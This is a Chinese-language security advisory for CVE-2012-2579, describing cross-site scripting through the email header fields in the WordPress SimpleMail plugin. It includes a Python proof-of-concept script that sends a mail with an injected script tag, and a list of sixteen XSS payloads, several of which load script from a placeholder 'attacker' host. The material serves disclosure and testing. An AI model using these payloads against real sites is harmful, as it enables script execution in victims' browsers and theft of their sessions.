发布日期：2012-08-09
更新日期：2012-08-10
受影响系统：
WordPress SimpleMail Plugin 1.x
描述：
--------------------------------------------------------------------------------
CVE ID: CVE-2012-2579
WordPress是一种使用PHP语言和MySQL数据库开发的Blog（博客、网志)引擎，用户可以在支持PHP和MySQL数据库的服务器上建立自己的Blog。
SimpleMail plugin for WordPress 1.0.6及其他版本在实现上存在多个漏洞，通过电子邮件的字段"To"、"From"、"Date"、"Subject"传递的输入没有正确过滤即用于显示电子邮件，可被恶意利用执行脚本插入攻击，查看后会在受影响站点的用户浏览器中执行。
<*来源：loneferret
链接：
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
loneferret （）提供了如下测试方法：
#!/usr/bin/Python
'''
Author: loneferret of Offensive Security
Product: SimpleMail
Version: 1.0.6 (free version)
Vendor Site: ?ref=tinsley
Software Download:
Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response from vendor
08 Aug 2012: Public Disclosure
Installed On: Ubuntu LAMP 8.04
Wordpress: 3.3.1
Client Test OS: MAC OS Lion
Browser Used: Firefox 12
Injection Points: To, From, Date, Subject
Injection Payload(s):
1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
2: <SCRIPT>alert('XSS')</SCRIPT>
3: <SCRIPT SRC=https://attacker/xss.js></SCRIPT>
4: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
5: <IFRAME SRC="Javascript:alert('XSS');"></IFRAME>
6: <SCRIPT SRC="https://attacker/xss.jpg"></SCRIPT>
7: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
8: <SCRIPT SRC=https://attacker/.j>
9: <<SCRIPT>alert("XSS");//<</SCRIPT>
10: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
11: <SCRIPT a=">" SRC="https://attacker/xss.js"></SCRIPT>
12: <SCRIPT ="blah" SRC="https://attacker/xss.js"></SCRIPT>
13: <SCRIPT a="blah" '' SRC="https://attacker/xss.js"></SCRIPT>
14: <SCRIPT "a='>'" SRC="https://attacker/xss.js"></SCRIPT>
15: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="https://attacker/xss.js"></SCRIPT>
16: <SCRIPT a=">'>" SRC="https://attacker/xss.js"></SCRIPT>
'''
import smtplib, urllib2
payload = """<SCRIPT>alert('XSS')</SCRIPT>"""
def sendMail(dstemail, frmemail, smtpsrv, username, password):
msg = "From: hacker@offsec.local" + payload + "\n"
msg += "To: victim@victim.local\n"
msg += 'Date: Today\r\n'
msg += "Subject: Offensive Security\n"
msg += "Content-type: text/html\n\n"
msg += "XSS\r\n\r\n"
server = smtplib.SMTP(smtpsrv)
server.login(username,password)
try:
server.sendmail(frmemail, dstemail, msg)
except Exception, e:
print "[-] Failed to send email:"
print "[*] " + str(e)
server.quit()
username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv = "172.16.84.171"
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)
建议：
--------------------------------------------------------------------------------
厂商补丁：
WordPress
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：